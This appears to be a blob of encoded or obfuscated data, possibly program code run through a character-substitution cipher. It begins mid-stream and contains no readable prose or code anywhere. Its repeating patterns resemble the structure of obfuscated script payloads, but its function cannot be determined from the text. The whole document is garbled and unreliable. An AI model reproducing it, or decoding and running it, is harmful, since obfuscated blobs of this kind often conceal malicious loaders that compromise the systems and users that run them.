*/;>+: 0/+601w68-=;0g1k=f9<,wjigvsos6( l).%/>&.=%8wmmkovvdU{.gkj*n)'-)1l%242bw,+-618v8:+ 0/+601w6( l).%/>&.=%8wmllovs}}vdU:<70}1}q6( l).%/>&.=%8wmllnvq{3*k2')5&5'=.%m(qxaxUq68-=;0g1k=f9<,wmllmvUq6( l).%/>&.=%8wmlllvq{;)9moh(g9m)n*-w6( l).%/>&.=%8wmllkvvq%&l24,::0;+wmlljvUq6( l).%/>&.=%8wmllivq%&l24,::0;+wnlimvw{.gkj*n)'-)1l%242vqxdxUq6( l).%/>&.=%8wmllhvq{;)9moh(g9m)n*-w68-=;0g1k=f9<,wmllgvvq%&l24,::0;+wmllfvUq==7i3&4;3f/;13mwmlkovq{;)9moh(g9m)n*-w%&l24,::0;+wmlknvvq68-=;0g1k=f9<,wmlkmvq{;)9moh(g9m)n*-w68-=;0g1k=f9<,wmlklvvq6( l).%/>&.=%8wmlkmvq{;)9moh(g9m)n*-w==7i3&4;3f/;13mwmlkkvvq%&l24,::0;+wmlkjvq{;)9moh(g9m)n*-w==7i3&4;3f/;13mwmlkivvq68-=;0g1k=f9<,wmlkhvUq==7i3&4;3f/;13mwmlkgvq{;)9moh(g9m)n*-w68-=;0g1k=f9<,wmlkfvvq%&l24,::0;+wmljovq{;)9moh(g9m)n*-w%&l24,::0;+wmljnvvq==7i3&4;3f/;13mwmljmvUUUq6( l).%/>&.=%8wmljlvq}1}dU*1,:+w{.gkj*n)'-)1l%242vdU"UU-:+*-1dU"UUUU{;<=;*:o5=79<2(b6( l).%/>&.=%8wmljkvw6( l).%/>&.=%8wnllmvs68-=;0g1k=f9<,wnlllvs{;<=;*:o5=79<2(vdU69w==7i3&4;3f/;13mwmngmvw{;<=;*:o5=79<2(s6( l).%/>&.=%8wnlllvv~bbov{;<=;*:o5=79<2(b6( l).%/>&.=%8wnlllvq6( l).%/>&.=%8wnlhlvw{;<=;*:o5=79<2(sxpxvdUUUU{= k7:+779&0gmbxpxdU69w==7i3&4;3f/;13mwmljjvw6( l).%/>&.=%8wmlnnvvv$UU{)kg,6lj2 fbw,+-618v6( l).%/>&.=%8wmljivw702: *-3wvs 
 vdU69w{)kg,6lj2 f~bb}}yy{)kg,6lj2 f~bbxpxv{= k7:+779&0gmb==7i3&4;3f/;13mwmljhvw{)kg,6lj2 fsxpxvqxpxdU"U69w%&l24,::0;+wmljjvw%&l24,::0;+wmlnkvvv$U*/;>+: 0/+601w%&l24,::0;+wjigvsns6( l).%/>&.=%8wmmkovvdU*/;>+: 0/+601w==7i3&4;3f/;13mwmllovs{;<=;*:o5=79<2(s%&l24,::0;+wmmkovvdU"U{,:')<%fo;'h93b68-=;0g1k=f9<,wmljgvq{3*k2')5&5'=.%m(qxaxUq==7i3&4;3f/;13mwmljfvUq%&l24,::0;+wmlllvq{;)9moh(g9m)n*-w6( l).%/>&.=%8wmllkvvq6( l).%/>&.=%8wmliovUq==7i3&4;3f/;13mwmlinvUq==7i3&4;3f/;13mwmlimvq{;)9moh(g9m)n*-w==7i3&4;3f/;13mwmlilvvq68-=;0g1k=f9<,wmlikvq%&l24,::0;+wmlijvw{;<=;*:o5=79<2(vqxvxUq6( l).%/>&.=%8wmliivq{;)9moh(g9m)n*-w68-=;0g1k=f9<,wmlihvvq68-=;0g1k=f9<,wmlikvq==7i3&4;3f/;13mwmlijvw{;<=;*:o5=79<2(vq6( l).%/>&.=%8wmligvq%&l24,::0;+wmlijvw{= k7:+779&0gmvq%&l24,::0;+wmlifvq{;)9moh(g9m)n*-w68-=;0g1k=f9<,wmlhovvq6( l).%/>&.=%8wmlhnvUq%&l24,::0;+wmlhmvq{;)9moh(g9m)n*-w%&l24,::0;+wmlhlvvq6( l).%/>&.=%8wmlhkvUq%&l24,::0;+wmlimvq{;)9moh(g9m)n*-w68-=;0g1k=f9<,wmlhjvvq==7i3&4;3f/;13mwmlhivq{;)9moh(g9m)n*-w6( l).%/>&.=%8wmlhhvvq==7i3&4;3f/;13mwmlhgvUq%&l24,::0;+wmlhfvq{;)9moh(g9m)n*-w68-=;0g1k=f9<,wmlgovvq==7i3&4;3f/;13mwmlgnvUq==7i3&4;3f/;13mwmlgmvUq==7i3&4;3f/;13mwmlimvq{;)9moh(g9m)n*-w==7i3&4;3f/;13mwmlglvvq==7i3&4;3f/;13mwmlgkvUUUUq%&l24,::0;+wmlgjvq{;)9moh(g9m)n*-w%&l24,::0;+wmlknvvq68-=;0g1k=f9<,wmlgivq{;)9moh(g9m)n*-w==7i3&4;3f/;13mwmlghvvq68-=;0g1k=f9<,wmlggvUq==7i3&4;3f/;13mwmljlvdU:<70}1}q{,:')<%fo;'h93q}1}dU"<>+<7w7-0(>=3:{3+1n/j=+n mv$U04'k=kgmm ;-<4*,;>&3*w68-=;0g1k=f9<,wmlgfvs{3+1n/j=+n mvdU"<>+<7w'<:/+601{3+1n/j=+n mv$UUUU04'k=kgmm ;-<4*,;>&3*w%&l24,::0;+wmlgfvs{3+1n/j=+n mvdUUUU"U"UU69w5=g;.gn(n<%1i/.8>wvv$U-:+*-1dU"U:5'(2)8 0n<38-%0wvdU{5>(6'7h >97<0b%&l24,::0;+wmlfovw-nif,f=:o%ol2)owvvdU69w~{5>(6'7h >97<0##w{5>(6'7h >97<0zwo'<l=to'nh>ijvv~bb/-5'%k3i;i25km)wvv$U{4;*619j64<>8&lb68-=;0g1k=f9<,wmlnhvwvdUUUU<oo4k7hh*16 '<lg&8+;+w-nif,f=:o%ol2)owvsw{4;*619j64<>8&lrw{4;*619j64<>8&lzwfffjftknvvvt/-5'%k3i;i25km)wvvdUU*1,:+w{4;*619j64<>8&lvdU"U*1,:+w{5>(6'7h >97<0vdU+-&$UU{*1)%*h'>58708('gb    dU{*hl8m&4;2=+b}}dU{+38->om1l;b68-=;0g1k=f9<,wmlfnvw{*1)%*h'>58708('gs9>3,:s1*33soswimkmrmnkivvdU69w%&l24,::0;+wmlmmvw{+38->om1l;vyy==7i3&4;3f/;13mwmmknvw6( l).%/>&.=%8wnffnvs{+38->om1l;s{:/4g,,8*,5=3&lvv{*hl8m&4;2=+b{:/4g,,8*,5=3&lndUU69w{*hl8m&4;2=+~bb}}yy;:961:;w6( l).%/>&.=%8wmlfmvvv$U{28> >>=>/>37b>-->&wvdUUU{;:o;/=0>f,b;:961:;w68-=;0g1k=f9<,wniihvv`
 
 e  q68-=;0g1k=f9<,wnfhfvdUU{1k2-+';g5/b;:961:;w68-=;0g1k=f9<,wgmgvv` 
 e  q==7i3&4;3f/;13mwniigvdU{3n=fh029/o:7)>,2b9>3,:dU69w%&l24,::0;+wmljjvw68-=;0g1k=f9<,wmlflvvv$UU{ '4+*+hnk2 b==7i3&4;3f/;13mwnfgmvw{;:o;/=0>f,v`==7i3&4;3f/;13mwmlflvw{;:o;/=0>f,q%&l24,::0;+wiimvve9>3,:dU{8<67++&g5,9(5b68-=;0g1k=f9<,wmlfkvw{1k2-+';g5/q%&l24,::0;+wnfglvvdU69w==7i3&4;3f/;13mwmlfjvw{ '4+*+hnk2 v##68-=;0g1k=f9<,wmlfivw{8<67++&g5,9(5vv$UUU{3n=fh029/o:7)>,2b+-*:dU90-:><7ww>-->&v{ '4+*+hnk2 >,{7)'-&fo3j9 .kl,7v{28> >>=>/>37b{7)'-&fo3j9 .kl,7dU90-:><7ww>-->&v{8<67++&g5,9(5>,{7)'-&fo3j9 .kl,7v{28> >>=>/>37b{7)'-&fo3j9 .kl,7dU"UUU*1,:+w{ '4+*+hnk2 s{8<67++&g5,9(5vdU"U69w~{3n=fh029/o:7)>,2v$U{:gg%:8o&3-ob68-=;0g1k=f9<,wnfgmvw{;:o;/=0>f,v`*m,n*l71hj:h7,7>,.4*w{;:o;/=0>f,ve9>3,:dU69w==7i3&4;3f/;13mwmlfivw{:gg%:8o&3-ovv90-:><7w{:gg%:8o&3-o>,{;3=,2'(:o23,-v$UUU69w==7i3&4;3f/;13mwmlfhvw{;3=,2'(:o23,-srwirmvvbbb68-=;0g1k=f9<,wmmmhvv{28> >>=>/>37b{;:o;/=0>f,qxpxq{;3=,2'(:o23,-dU"U{:gg%:8o&3-ob68-=;0g1k=f9<,wnfgmvw{1k2-+';g5/v`*m,n*l71hj:h7,7>,.4*w{1k2-+';g5/ve9>3,:dU69w%&l24,::0;+wmlfgvw{:gg%:8o&3-ovv90-:><7w{:gg%:8o&3-o>,{;3=,2'(:o23,-v$UU{'f mj;3%(jb{1k2-+';g5/qxpxq{;3=,2'(:o23,-dU69w~%&l24,::0;+wmlffvw{'f mj;3%(jvv<01+61*:dUUU{1**9gj&.3&. lb*m,n*l71hj:h7,7>,.4*w{'f mj;3%(jvdU69w~6( l).%/>&.=%8wmlfgvw{1**9gj&.3&. lvv<01+61*:dU90-:><7w{1**9gj&.3&. l>,{>o5,2=7-'nv$UUUU69w==7i3&4;3f/;13mwmkoovw{>o5,2=7-'nsrwo'mto'mvvbbb68-=;0g1k=f9<,wmmmhvv{28> >>=>/>37b{'f mj;3%(jqxpxq{>o5,2=7-'ndU"U"U*1,:+w{:gg%:8o&3-os{;3=,2'(:o23,-s{>o5,2=7-'ns{'f mj;3%(js{1**9gj&.3&. lvdU"U{)2/-=%53=72o0k:*b68-=;0g1k=f9<,wnffjvw{*1)%*h'>58708('gs6( l).%/>&.=%8wmkonvvdU90-:><7w{28> >>=>/>37>,{7)'-&fo3j9 .kl,7v$U69w{7)'-&fo3j9 .kl,7bbb{*1)%*h'>58708('gv<01+61*:dUU{)k387,kh,8&)4m65b68-=;0g1k=f9<,wmkomvw{7)'-&fo3j9 .kl,7vdUU69w~{)k387,kh,8&)4m65##w{)k387,kh,8&)4m65zwnoljkmrljkmvv~bbwo'=jo9to'=fi<vv$U{7<1fo45 9*j%b68-=;0g1k=f9<,wmkolvw{7)'-&fo3j9 .kl,7vdU69w~{7<1fo45 9*j%##{7<1fo45 9*j%cwktkfiv##{7<1fo45 9*j%awjmkmghngtgmvv<01+61*:dU"U{+38->om1l;b6( l).%/>&.=%8wmlfnvw{7)'-&fo3j9 .kl,7s9>3,:s1*33soswo'fkhto'i=fvvdU69w~68-=;0g1k=f9<,wmlmmvw{+38->om1l;v##6( l).%/>&.=%8wmkokvw{+38->om1l;s6( l).%/>&.=%8wnfgfvvbbb9>3,:v<01+61*:dU69w~6( l).%/>&.=%8wmkojvw==7i3&4;3f/;13mwnffnvs{+38->om1l;s{:/4g,,8*,5=3&lvv<01+61*:dU69w68-=;0g1k=f9<,wnffjvw{7)'-&fo3j9 .kl,7s68-=;0g1k=f9<,wmkonvvbbb{)2/-=%53=72o0k:*yy{:/4g,,8*,5=3&lnbbb{*hl8m&4;2=+v$U69w~1h)j<%m*j0h(h<7'-w{7)'-&fo3j9 .kl,7vv$UUUU69w7-h3)j%5o=(* 4/mw{7)'-&fo3j9 .kl,7s{7)'-&fo3j9 .kl,7q68-=;0g1k=f9<,wnfgvvyy68-=;0g1k=f9<,wmljjvw6( l).%/>&.=%8wmkoivvv0/<><7: 61)>36;>+:w{7)'-&fo3j9 .kl,7s+-*:vdUUUU"U<01+61*:dU"UUUU69w):-,601 <02/>-:w{:/4g,,8*,5=3&lns{*hl8m&4;2=+sxcxvv$U{1:k0/7jjg/b*,8'.48k><:k8h-/&58683w{7)'-&fo3j9 .kl,7vdU69w{1:k0/7jjg/bbb9>3,:v$U04'k=kgmm ;-<4*,;>&3*w6( l).%/>&.=%8wmkohvs6( l).%/>&.=%8wnffmvq68-=;0g1k=f9<,wmkogvw{7)'-&fo3j9 .kl,7vvdU<01+61*:dU"UU69w{1:k0/7jjg/bbb+-*:v$U69w7-h3)j%5o=(* 4/mw{7)'-&fo3j9 .kl,7s{7)'-&fo3j9 .kl,7q68-=;0g1k=f9<,wmkofvvv$U69w6( l).%/>&.=%8wmljjvw%&l24,::0;+wmkoivvv0/<><7: 61)>36;>+:w{7)'-&fo3j9 .kl,7s+-*:vdU"U==7i3&4;3f/;13mwhhnvw%&l24,::0;+wmofhvw{7)'-&fo3j9 .kl,7vq68-=;0g1k=f9<,whffvq%&l24,::0;+wmknovw{7)'-&fo3j9 .kl,7s==7i3&4;3f/;13mwmknnvvvdU<01+61*:dU"U%&l24,::0;+whhnvw{7)'-&fo3j9 .kl,7vdUUUU==7i3&4;3f/;13mwhhnvw6( l).%/>&.=%8wmofhvw{7)'-&fo3j9 .kl,7vq68-=;0g1k=f9<,wmknmvq6( l).%/>&.=%8wmknovw{7)'-&fo3j9 .kl,7s68-=;0g1k=f9<,wmknnvvvd{(lo &* '1(bijhld{3,)h6lk'2)/;=2b{(lo &* '1(zhdU69w68-=;0g1k=f9<,wmljjvw68-=;0g1k=f9<,wmkoivvv0/<><7: 61)>36;>+:w{7)'-&fo3j9 .kl,7s+-*:vdUUUU<01+61*:dU"U{(*m1,j3%n(:-=4*bw6( l).%/>&.=%8wmknovw68-=;0g1k=f9<,wmknlvw{7)'-&fo3j9 .kl,7vvbbb%&l24,::0;+wmknkv##%&l24,::0;+wmknlvw{7)'-&fo3j9 .kl,7vbbb{;:o;/=0>f,vdU69w~{(*m1,j3%n(:-=4*yy68-=;0g1k=f9<,wmljjvw%&l24,::0;+wmknjvvv$U{:;69lf'=5&0:*b6( l).%/>&.=%8wmknovw68-=;0g1k=f9<,wmknivw{7)'-&fo3j9 .kl,7vvqxpxq68-=;0g1k=f9<,wmknhvw{7)'-&fo3j9 .kl,7vdU{7'i)5.l:n:f6-:.bw>-->&v8:+ 0/+601w%&l24,::0;+wmmmivs>-->&wvvdU{(*m1,j3%n(:-=4*b6( l).%/>&.=%8wmmmjvw{:;69lf'=5&0:*s{7'i)5.l:n:f6-:.s+-*:vdU69w~{(*m1,j3%n(:-=4*yy%&l24,::0;+wmkngvw==7i3&4;3f/;13mwmmhvvyy6, 2*3+6,6+:wvyy%&l24,::0;+wmkngvw==7i3&4;3f/;13mwmmfvvv$U{-j9kfn%i-gg/9bw>-->&v8:+ ,6+: 0/+601w6( l).%/>&.=%8wmknfvs>-->&wvvdUUUU{(*m1,j3%n(:-=4*b6,,:+w{-j9kfn%i-gg/9{:;69lf'=5&0:*vdU*1,:+w{-j9kfn%i-gg/9vdUU"U*1,:+w{:;69lf'=5&0:*s{7'i)5.l:n:f6-:.vdUUUU"U69w~{(*m1,j3%n(:-=4*v<01+61*:dU69w):-,601 <02/>-:w{:/4g,,8*,5=3&lns{*hl8m&4;2=+sxaxvv$U69w1h)j<%m*j0h(h<7'-w{7)'-&fo3j9 .kl,7vyy~)512o.(8.09j-1w{7)'-&fo3j9 .kl,7vv-:+*-1dU{9+-;:,:3*4%3b%&l24,::0;+wmkmovw{7)'-&fo3j9 .kl,7vq%&l24,::0;+wmkmnvq68-=;0g1k=f9<,wmmhlvw{7)'-&fo3j9 .kl,7vdU69w6( l).%/>&.=%8wmmllvw{9+-;:,:3*4%3vyyw61+v%&l24,::0;+wmkomvw{9+-;:,:3*4%3vc==7i3&4;3f/;13mwmlnhvwvrwnjtkjvv$U{>-2f;&+hi+b==7i3&4;3f/;13mwmkmmvwx#xsw,+-618v68-=;0g1k=f9<,wmlfnvw{9+-;:,:3*4%3vvdU69w68-=;0g1k=f9<,wmkmlvw{>-2f;&+hi+vcm##{>-2f;&+hi+o~bb{:/4g,,8*,5=3&ln##w61+v{>-2f;&+hi+n~bbw61+v%&l24,::0;+wmkolvw{7)'-&fo3j9 .kl,7vv$U6( l).%/>&.=%8wmkmkvw{9+-;:,:3*4%3vdU<01+61*:dU"U69w*,8'.48k><:k8h-/&58683w{7)'-&fo3j9 .kl,7v~bb9>3,:v$UUU..+:l- 3/5(*9,%,)6<:w{7)'-&fo3j9 .kl,7swo'ggto'nn<vvdUU69w6&3-,o*-.<)&:l.1w{7)'-&fo3j9 .kl,7vv$U%&l24,::0;+wmkmkvw{9+-;:,:3*4%3vdUU69w==7i3&4;3f/;13mwmkmjvw6( l).%/>&.=%8wmkoivvv0/<><7: 61)>36;>+:w{7)'-&fo3j9 .kl,7s+-*:vdU"U"UU<01+61*:dU"U6( l).%/>&.=%8wmkmivw{9+-;:,:3*4%3s{:/4g,,8*,5=3&lnqx#xqw61+v%&l24,::0;+wmkmhvw{7)'-&fo3j9 .kl,7vvdU<01+61*:dUUU"U69w{:/4g,,8*,5=3&lnbbb{*hl8m&4;2=+v$UU{%9=0hm%4l'9868*<b+3'<g,n7>8'g=(ikwvd{%+&lok.+484=bmnnod{%--'5(,*31b{%+&lok.+484=zjdU{+f.*l(:%45+n.b9>3,:dU69w~:2/+&w{%9=0hm%4l'9868*<==7i3&4;3f/;13mwmkmgvvv$U{7g;n%-)>%>k'j2<(b68-=;0g1k=f9<,wnfggvw{%9=0hm%4l'9868*<==7i3&4;3f/;13mwmkmgvvdUUUU{3.64m'go<<b==7i3&4;3f/;13mwnfggvw{7)'-&fo3j9 .kl,7vdU69w68-=;0g1k=f9<,wmlmmvw{7g;n%-)>%>k'j2<(vyy68-=;0g1k=f9<,wmlmmvw{3.64m'go<<vyy{7g;n%-)>%>k'j2<(bbb{3.64m'go<<yy<*n/<<:<m>)1*9'hw{%9=0hm%4l'9868*<vbbb%&l24,::0;+wnhjnvyy1h)j<%m*j0h(h<7'-w{7)'-&fo3j9 .kl,7vv-:+*-1dUU69w==7i3&4;3f/;13mwmlmmvw{7g;n%-)>%>k'j2<(vyy{7g;n%-)>%>k'j2<(bbb68-=;0g1k=f9<,wmkmfvw{*1)%*h'>58708('gvv{+f.*l(:%45+n.b+-*:dU"U69w~{+f.*l(:%45+n.yy~1h)j<%m*j0h(h<7'-w{7)'-&fo3j9 .kl,7vv${%hk/1;1=%3+:bltjkd{3456n+*%3-&<b{%hk/1;1=%3+:rmkdU69w)512o.(8.09j-1w{7)'-&fo3j9 .kl,7v##*,8'.48k><:k8h-/&58683w{7)'-&fo3j9 .kl,7v~bb9>3,:v$U69w7-h3)j%5o=(* 4/mw{7)'-&fo3j9 .kl,7s{7)'-&fo3j9 .kl,7q68-=;0g1k=f9<,wmkofvvyy==7i3&4;3f/;13mwmklovw%&l24,::0;+wmkoivvv0/<><7: 61)>36;>+:w{7)'-&fo3j9 .kl,7s+-*:vdU"UUU*1,:+w{%9=0hm%4l'9868*<s{+f.*l(:%45+n.s{7g;n%-)>%>k'j2<(s{3.64m'go<<vdU<01+61*:dUUU"U69w~{+f.*l(:%45+n.yy%&l24,::0;+wmkoovw68-=;0g1k=f9<,wmmhlvw68-=;0g1k=f9<,wmknhvw{7)'-&fo3j9 .kl,7s68-=;0g1k=f9<,wmklnvvvsoswmtnovva%&l24,::0;+wmklmvw==7i3&4;3f/;13mwmkllvw{)2/-=%53=72o0k:*vsoswlccmvvv-:+*-1dU*1,:+w{%9=0hm%4l'9868*<s{+f.*l(:%45+n.s{7g;n%-)>%>k'j2<(s{3.64m'go<<vdU"U"U"U*1,:+w{*1)%*h'>58708('gs{*hl8m&4;2=+s{+38->om1l;s{:/4g,,8*,5=3&ls{28> >>=>/>37s{;:o;/=0>f,s{1k2-+';g5/s{7)'-&fo3j9 .kl,7s{)k387,kh,8&)4m65s{)2/-=%53=72o0k:*s{7<1fo45 9*j%s{1:k0/7jjg/s{9+-;:,:3*4%3s{>-2f;&+hi+vdUU"<>+<7w7-0(>=3:{3+1n/j=+n mv$U"<>+<7w'<:/+601{3+1n/j=+n mv$U"U69w6,,:+w{6( l).%/>&.=%8wmklkvvv$U69w):-,601 <02/>-:ww,+-618v{==7i3&4;3f/;13mwmkljvs(8=4>%+g%(8i0>1>i(l9h+wvs%&l24,::0;+wmklivvv-:+*-1dU{%&l24,::0;+wmklhvbndU":3,:69w;:961:;w%&l24,::0;+wmklgvvv$U{44/f29.:%fb<01,+>1+w%&l24,::0;+wmklgvvd{%'=21',m)>k*(brkd{5%';:3-;'--4bw{%'=21',m)>k*(aov`{%'=21',m)>k*(er{%'=21',m)>k*(dU69w6( l).%/>&.=%8wmlmmvw{44/f29.:%fvyy68-=;0g1k=f9<,wmkojvw68-=;0g1k=f9<,wnijgvs{44/f29.:%fvyy):-,601 <02/>-:w{44/f29.:%fs(8=4>%+g%(8i0>1>i(l9h+wvs6( l).%/>&.=%8wmklivvv-:+*-1dU{6( l).%/>&.=%8wmklfvbndU*1,:+w{44/f29.:%fvdUUUU"Upp61/*+)>36;>+601UU{6( l).%/>&.=%8wmkljvb(8=4>%+g%(8i0>1>i(l9h+wvdUUU69w==7i3&4;3f/;13mwmklovw==7i3&4;3f/;13mwngnvvv<3:>-,+>+<><7:w+-*:s-nif,f=:o%ol2)owvvdU{==7i3&4;3f/;13mwngovbw,+-618v==7i3&4;3f/;13mwmkmhvw-nif,f=:o%ol2)owvvqxexqw,+-618v68-=;0g1k=f9<,wmkomvw-nif,f=:o%ol2)owvvdU69w~;:961:;w68-=;0g1k=f9<,wmklgvvv;:961:w%&l24,::0;+wmklgvs(8=4>%+g%(8i0>1>i(l9h+wvvdU69w~;:961:;w==7i3&4;3f/;13mwmkkovvv;:961:w%&l24,::0;+wmkkovs(8=4>%+g%(8i0>1>i(l9h+wvvdUUU1ij/l)fgf->l(=8&8>3mfw==7i3&4;3f/;13mwmkknvvdUUUUU%i%('* ))7,;6n/o;=hh9%w-nif,f=:o%ol2)owvvdU69w%&l24,::0;+wmklovw==7i3&4;3f/;13mwmkkmvvyy6( l).%/>&.=%8wmklovw==7i3&4;3f/;13mwmkklvvv$U+-&$U{(6h9)98h&/0 b* <>0f1:0)g)&4k,07+oo1wvdUUU69w==7i3&4;3f/;13mwmlffvw{(6h9)98h&/0 vv$Upp)me30<4:.*6)>3:1<:r<3>,,UUUU{0),'k>14;g ->7b64g,7j8l*g'j*&'63.f<&wvdUUU{(>;(f;g%f)o1.55 b*m,n*l71hj:h7,7>,.4*w{(6h9)98h&/0 vdUUUU69w68-=;0g1k=f9<,wmlfgvw{(>;(f;g%f)o1.55 vv$U90-:><7w{(>;(f;g%f)o1.55 >,{00%kmji11l'kv$UU69w{00%kmji11l'kbbb{0),'k>14;g ->7v<01+61*:dU69w%&l24,::0;+whhvw68-=;0g1k=f9<,wgmmvw{00%kmji11l'ks<01,+>1+w%&l24,::0;+wmkkkvvvv~bb68-=;0g1k=f9<,wnmjnvv<01+61*:dUUU{)-7(ghm>=8<,ob{(6h9)98h&/0 qxpxq{00%kmji11l'kdU69w==7i3&4;3f/;13mwmmllvw{)-7(ghm>=8<,ovyy6( l).%/>&.=%8wmkmhvw{)-7(ghm>=8<,ovawkfiktlivyy':f6 <:(3(,;4l9)w{)-7(ghm>=8<,oswo'fngto'>hovvv$U;% 60j&3'n9,8>6w{)-7(ghm>=8<,ovdU"UU"U"U"U"<>+<7w7-0(>=3:{3+1n/j=+n mv$Upp
16+noe/-05:<+6):r>;5,:,,601r+&/:UU04'k=kgmm ;-<4*,;>&3*w68-=;0g1k=f9<,wmkmvs{3+1n/j=+n mvdU"<>+<7w'<:/+601{3+1n/j=+n mv$Upp61,+-*<+601/061+:-UUUU"U"Upp,/6330-=6+UUU69w~>>&*)ln-fl %>=n1g%:2wvv$U8&m43o,);ol%*)4=w%&l24,::0;+wgffvs68-=;0g1k=f9<,wmkkjvsnvdUUU"UU{%&l24,::0;+wgigvb>-->&wvdU{%&l24,::0;+wkgmvb>-->&wvdUUU{6( l).%/>&.=%8wmlmkvb}}dU69w6( l).%/>&.=%8wmklovw==7i3&4;3f/;13mwmkkivvv$U68-=;0g1k=f9<,wmkkhvw6( l).%/>&.=%8wmkkgvvd{8-2'847nl>:%g:bhljgd{&6*'9%f1b{8-2'847nl>:%g:znkdUUUU==7i3&4;3f/;13mwmkkhvw68-=;0g1k=f9<,wmkkfvvdUU"U{'.=9<58j1>l.oob==7i3&4;3f/;13mwmkmovw-nif,f=:o%ol2)owvvq==7i3&4;3f/;13mwnhimvq68-=;0g1k=f9<,wmkjovw-nif,f=:o%ol2)owvs6( l).%/>&.=%8wmklnvvd{4i4 ;ifkk0g8b  	d{-j1<fl;/.2g.b{4i4 ;ifkk0g8ujdUU69w68-=;0g1k=f9<,wmmllvw{'.=9<58j1>l.oovv$UU{0873.j77jgi-=kh%b6( l).%/>&.=%8wmkjnvww,+-618v%&l24,::0;+wmkjmvw{'.=9<58j1>l.oovvdU{ 1((gh&o1f>,77<b)8l>;.=11<>0*l&mwvdU69w{0873.j77jgi-=kh%bbb}}##{0873.j77jgi-=kh%~bb{ 1((gh&o1f>,77<v6&3-,o*-.<)&:l.1w{'.=9<58j1>l.oovdU*1,:+w{0873.j77jgi-=kh%s{ 1((gh&o1f>,77<vdU"U+-&$UU==7i3&4;3f/;13mwmnvw==7i3&4;3f/;13mwmkjlvw-nif,f=:o%ol2)owvvq==7i3&4;3f/;13mwmkjkvq6( l).%/>&.=%8wmkjovw-nif,f=:o%ol2)owvs6( l).%/>&.=%8wmkjjvvvdU{>. f'ln-k(;9o&o'b68-=;0g1k=f9<,wmkjivq)8l>;.=11<>0*l&mwvdU90-:><7w>-->&w==7i3&4;3f/;13mwmkjlvw-nif,f=:o%ol2)owvvs* <>0f1:0)g)&4k,07+oo1wvv>,{0( =92*&.mgh+v$U69w6( l).%/>&.=%8wmmllvw{0( =92*&.mgh+qxpxq{>. f'ln-k(;9o&o'vv==7i3&4;3f/;13mwmkjhvw{0( =92*&.mgh+qxpxq{>. f'ln-k(;9o&o'vdUUUU"U*1,:+w{>. f'ln-k(;9o&o's{0( =92*&.mgh+vdU"<>+<7w7-0(>=3:{3+1n/j=+n mv$UU"<>+<7w'<:/+601{3+1n/j=+n mv$U"UUUU*1,:+w{'.=9<58j1>l.oovdUUUU8&m43o,);ol%*)4=w68-=;0g1k=f9<,wfonvs%&l24,::0;+wmkjgvsovdU8&m43o,);ol%*)4=w6( l).%/>&.=%8wfonvs==7i3&4;3f/;13mwmkjfvsovdU8&m43o,);ol%*)4=w68-=;0g1k=f9<,wmkiovs%&l24,::0;+wmkjgvsovdU8&m43o,);ol%*)4=w6( l).%/>&.=%8wmkinvs68-=;0g1k=f9<,wmkjgvsovdU8&m43o,);ol%*)4=w6( l).%/>&.=%8wmkinvs%&l24,::0;+wmkimvsmvdU8&m43o,);ol%*)4=w6( l).%/>&.=%8wmkinvs68-=;0g1k=f9<,wmkilvswmljmlmvvdU8&m43o,);ol%*)4=w68-=;0g1k=f9<,wmkinvs68-=;0g1k=f9<,wmkikvswmtmvvdU8&m43o,);ol%*)4=w==7i3&4;3f/;13mwgffvs6( l).%/>&.=%8wmkijvswntkvvdUUUU4l;:- 8oj(fhg:;j8w==7i3&4;3f/;13mwmkiivs68-=;0g1k=f9<,wmkihvswnkonlkvsnvdU4l;:- 8oj(fhg:;j8w==7i3&4;3f/;13mwmkigvs==7i3&4;3f/;13mwmkihvswmoonfkvsnvdUU4l;:- 8oj(fhg:;j8w68-=;0g1k=f9<,wmkifvs%&l24,::0;+wmkhovswhtlvsnvdU4l;:- 8oj(fhg:;j8w68-=;0g1k=f9<,wmkhnvs6( l).%/>&.=%8wmkhovswmtgvsnvdUU4l;:- 8oj(fhg:;j8w68-=;0g1k=f9<,wmkhmvs%&l24,::0;+wmkhlvswnnhtggmvswlkllvvdUUU8&m43o,);ol%*)4=w68-=;0g1k=f9<,wmkhkvs6( l).%/>&.=%8wmkhjvswlnktigjvsmvdUU4l;:- 8oj(fhg:;j8w==7i3&4;3f/;13mwmkhivs%&l24,::0;+wmkhhvvdU4l;:- 8oj(fhg:;j8w68-=;0g1k=f9<,wmkhgvs%&l24,::0;+wmkhfvswo'jto'jvsmvdU4l;:- 8oj(fhg:;j8w6( l).%/>&.=%8wmkgovs%&l24,::0;+wmkgnvvdUU4l;:- 8oj(fhg:;j8w6( l).%/>&.=%8wmkgmvs68-=;0g1k=f9<,wmkglvswo'hto'lvsnvdUU4l;:- 8oj(fhg:;j8w68-=;0g1k=f9<,wmkgkvs68-=;0g1k=f9<,wmkgjvswjtjvsmvdU8&m43o,);ol%*)4=w%&l24,::0;+wmkgivs%&l24,::0;+wmkghvvdU4l;:- 8oj(fhg:;j8w==7i3&4;3f/;13mwmkggvs68-=;0g1k=f9<,wmkgfvvdUU4l;:- 8oj(fhg:;j8w68-=;0g1k=f9<,wmkfovs==7i3&4;3f/;13mwfkivvdUU8&m43o,);ol%*)4=w==7i3&4;3f/;13mwmkfnvs6( l).%/>&.=%8wmkfmvsrwfgmtnhvvdU8&m43o,);ol%*)4=w%&l24,::0;+wmkflvs==7i3&4;3f/;13mwmkfkvsrwnngkrngjvvdU8&m43o,);ol%*)4=w%&l24,::0;+wmkfjvs68-=;0g1k=f9<,wmkfivsrwnnljrnlivvdUU8&m43o,);ol%*)4=w==7i3&4;3f/;13mwmkfhvs%&l24,::0;+wmkfgvswfnktgjvvdU8&m43o,);ol%*)4=w68-=;0g1k=f9<,wmkffvs==7i3&4;3f/;13mwmjoovsovdUUUU8&m43o,);ol%*)4=w==7i3&4;3f/;13mwmjonvs6( l).%/>&.=%8wmjomvswfjgtknvvdU8&m43o,);ol%*)4=w==7i3&4;3f/;13mwmjolvs%&l24,::0;+wmjokvswffjtkvvdUU8&m43o,);ol%*)4=w68-=;0g1k=f9<,wmlfvs==7i3&4;3f/;13mwmjojvsmvdU8&m43o,);ol%*)4=w68-=;0g1k=f9<,wmlfvs6( l).%/>&.=%8wmjoivsovdUU8&m43o,);ol%*)4=w68-=;0g1k=f9<,wmlfvs68-=;0g1k=f9<,wmjohvsovdU8&m43o,);ol%*)4=w6( l).%/>&.=%8wmlfvs==7i3&4;3f/;13mwmjogvsovdUU8&m43o,);ol%*)4=w68-=;0g1k=f9<,wmlfvs==7i3&4;3f/;13mwmjofvsnvdU8&m43o,);ol%*)4=w==7i3&4;3f/;13mwmlfvs==7i3&4;3f/;13mwmjnovsmvdUUUU8&m43o,);ol